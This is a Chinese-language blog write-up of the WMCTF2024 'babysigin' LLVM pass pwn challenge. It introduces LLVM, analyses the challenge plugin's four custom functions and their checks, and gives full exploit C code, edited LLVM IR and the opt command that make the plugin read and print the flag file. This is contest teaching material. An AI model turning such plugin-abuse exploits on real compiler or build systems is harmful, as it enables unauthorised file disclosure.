llvm pass pwn学习(WMCTF2024-babysigin)

llvm pass pwn学习(WMCTF2024-babysigin)

Berial Lv2

前言

复现WMCTF时发现都是没怎么接触过的知识,决定把每道题涉及到的知识点都好好学习一下。

参考文章: 点击查看

LLVM简介

​ LLVM,即Low-Level Virtual Machine,是以C++编写的用于构建编译器模块化和可重用的编译器框架。广泛用于编译器开发、程序分析、优化以及跨平台代码生成。

LLVM维基百科

特点

primary 以下内容来自GPT和自身整理

  • 模块化设计:LLVM由多个模块组成,如前端、优化器、后端等,这些模块可以单独使用或组合在一起。
  • 中间表示(IR):LLVM有一个强大的中间表示(Intermediate Representation),是一种低级、面向静态单赋值的代码表示形式。
    • 这种IR既能用于高层次的程序优化,也能用于低层次的机器代码生成。
  • 跨平台支持:LLVM支持多种平台和架构(如x86、ARM、PowerPC等),这意味着LLVM编写的程序可以轻松地移植到不同平台。
  • 优化:LLVM的优化器可以对代码进行多种优化,如死代码消除、循环优化、内联展开等;这些优化不仅可以在编译时进行,有的也可以在运行时进行。
  • 前端支持:LLVM支持多种前端语言,如Clang、Rust、Swift等。
  • 后端生成:支持多种CPU架构和指令集,能够高效的生成可执行代码。

LLVM常见命令

环境安装:

primary 命令为直接下载最新版本,但不建议使用最新版本,可以apt查看可下载版本在进行下载

1
2
sudo apt install clang
sudo apt install llvm

image-20240913203234403

常用转换命令:

1
2
3
4
5
.c -> .ll:clang -emit-llvm -S a.c -o a.ll
.c -> .bc: clang -emit-llvm -c a.c -o a.bc
.ll -> .bc: llvm-as a.ll -o a.bc
.bc -> .ll: llvm-dis a.bc -o a.ll
.bc -> .s: llc a.bc -o a.s

WMCTF2024-Pwn-Babysigin

​ 首先我们拿到手的是WMCTF.so文件,IDA打开进行静态分析;

​ 既然这是一道LLVM PASS Pwn,我们首先需要知道做这种题目的时候是一个什么思路:

​ 首先找到runOnFunction是如何重写的,找到之后大致看下代码发现程序应该是调用四个函数,分别为WMCTF_OPEN;WMCTF_READWMCTF_MMAPWMCTF_WRITE

静态分析

这一部分只会放部分分析代码,因为代码有点多。。。。

WMCTF_OPEN

​ 首先是WMCTF_OPEN这个函数调用需要的字符串,即函数名;

image-20240914105649302

​ 中间一部分是进行了一些对文件名及路径的判断,LoadInst典型是从上层函数或外部环境输入的。

image-20240914105822570

​ 然后是调用父模块参数

image-20240914105901919

WMCTF_READ

image-20240914110010062

​ 和OPEN部分差不多,获取第一个操作数之后转换为llvm::ConstantInt类型,并检查其是否为0x6666,若满足,就会读取文件0x40大小的内容分到mmap_addr处。

WMCTF_MMAP

image-20240914110356185

​ 同上,第一个操作数为0x7890,就会通过mmap函数来开辟一块内存给mmap_addr

WMCTF_WRITE

image-20240914110516912

​ 检查第一个操作数是否为llvm::LoadInst类型,如果LoadInst的操作数为llvm::GlobalVariable,则判断其值是否为0x8888,满足这些条件会把mmap_addr的内容写到&dword_0 + 1,并根据操作结果输出成功或错误信息。

总结调用函数所需满足条件

  • WMCTF_OPEN:
    • 参数必须是上层函数传过来的,并有四个嵌套层次去检查参数;
  • WMCTF_READ:
    • 第一个操作数为0x6666
  • WMCTF_MMAP:
    • 第一个操作数为0x7890
  • WMCTF_WRITE:
    • 第一个操作数为0x8888,并且必须为全局变量。

解题

LLVM PASS Pwn脚本编写分为三种语言,首先写C/C++代码用来利用漏洞,然后将其编译为.ll文件,最后用python导入后利用pwntools与题目进行交互。

exp

​ 我们的C代码需要满足上文中的所有条件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
void WMCTF_OPEN(char *name);
void WMCTF_READ(int cmd);
void WMCTF_MMAP(int cmd);
void WMCTF_WRITE(int cmd);
char *filename = "./flag";
char *flag = "./flag";
int cmd = 0x8888;
void f0(char* name);
void f1(char* name);
void f2(char* name);
void f3(char* name);


void func0(char *name) {
WMCTF_OPEN(filename);
}

void func1(char* name) {
func0(filename);
}

void func2(char* name) {
func1(filename);
}

void func3(char *name) {
func2(filename);
}

void func4(char *name) {
func3(flag);
}

void func5() {
flag = "./flag";
func4(flag);
}

void funcmain() {
WMCTF_MMAP(0x7890);
WMCTF_READ(0x6666);
WMCTF_WRITE(cmd);
}

​ OK,现在我们写了一个符合所有条件的C文件,现在需要给他编译成.ll文件:

1
clang-14 -emit-llvm -S main.c -o main.ll

​ 直接生成的文件需要修改,不然打不通:

image-20240914142406551

​ 修改后main.ll内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
; ModuleID = 'main.c'
source_filename = "main.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"

@.str = private unnamed_addr constant [7 x i8] c"./flag\00", align 1
@.addr = dso_local global i8* getelementptr inbounds ([7 x i8], [7 x i8]* @.str, i32 0, i32 0), align 8
@flag = dso_local global i8* getelementptr inbounds ([7 x i8], [7 x i8]* @.str, i32 0, i32 0), align 8
@cmd = dso_local global i32 34952, align 4

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @func0(i8* noundef %0) #0 {
%2 = alloca i8*, align 8
store i8* %0, i8** %2, align 8
%3 = load i8*, i8** @.addr, align 8
call void @WMCTF_OPEN(i8* noundef %3)
ret void
}

declare void @WMCTF_OPEN(i8* noundef) #1

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @func1(i8* noundef %0) #0 {
%2 = alloca i8*, align 8
store i8* %0, i8** %2, align 8
%3 = load i8*, i8** @.addr, align 8
call void @func0(i8* noundef %3)
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @func2(i8* noundef %0) #0 {
%2 = alloca i8*, align 8
store i8* %0, i8** %2, align 8
%3 = load i8*, i8** @.addr, align 8
call void @func1(i8* noundef %3)
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @func3(i8* noundef %0) #0 {
%2 = alloca i8*, align 8
store i8* %0, i8** %2, align 8
%3 = load i8*, i8** @.addr, align 8
call void @func2(i8* noundef %3)
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @func4(i8* noundef %0) #0 {
%2 = alloca i8*, align 8
store i8* %0, i8** %2, align 8
%3 = load i8*, i8** @flag, align 8
call void @func3(i8* noundef %3)
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @func5() #0 {
store i8* getelementptr inbounds ([7 x i8], [7 x i8]* @.str, i64 0, i64 0), i8** @flag, align 8
%1 = load i8*, i8** @flag, align 8
call void @func4(i8* noundef %1)
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @funcmain() #0 {
call void @WMCTF_MMAP(i32 noundef 30864)
call void @WMCTF_READ(i32 noundef 26214)
%1 = load i32, i32* @cmd, align 4
call void @WMCTF_WRITE(i32 noundef %1)
ret void
}

declare void @WMCTF_MMAP(i32 noundef) #1

declare void @WMCTF_READ(i32 noundef) #1

declare void @WMCTF_WRITE(i32 noundef) #1

attributes #0 = { noinline nounwind optnone uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }

!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}

!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 7, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 1}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"Ubuntu clang version 14.0.0-1ubuntu1.1"}
1
opt-14 -load ./WMCTF.so -WMCTF -enable-new-pm=0 ./main.ll

image-20240914142330542

改完之后

image-20240914150504565

  • Title: llvm pass pwn学习(WMCTF2024-babysigin)
  • Author: Berial
  • Created at : 2024-09-13 19:39:35
  • Updated at : 2024-09-14 15:10:22
  • Link: https://berial.cn/posts/llvm-pass-pwn1/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments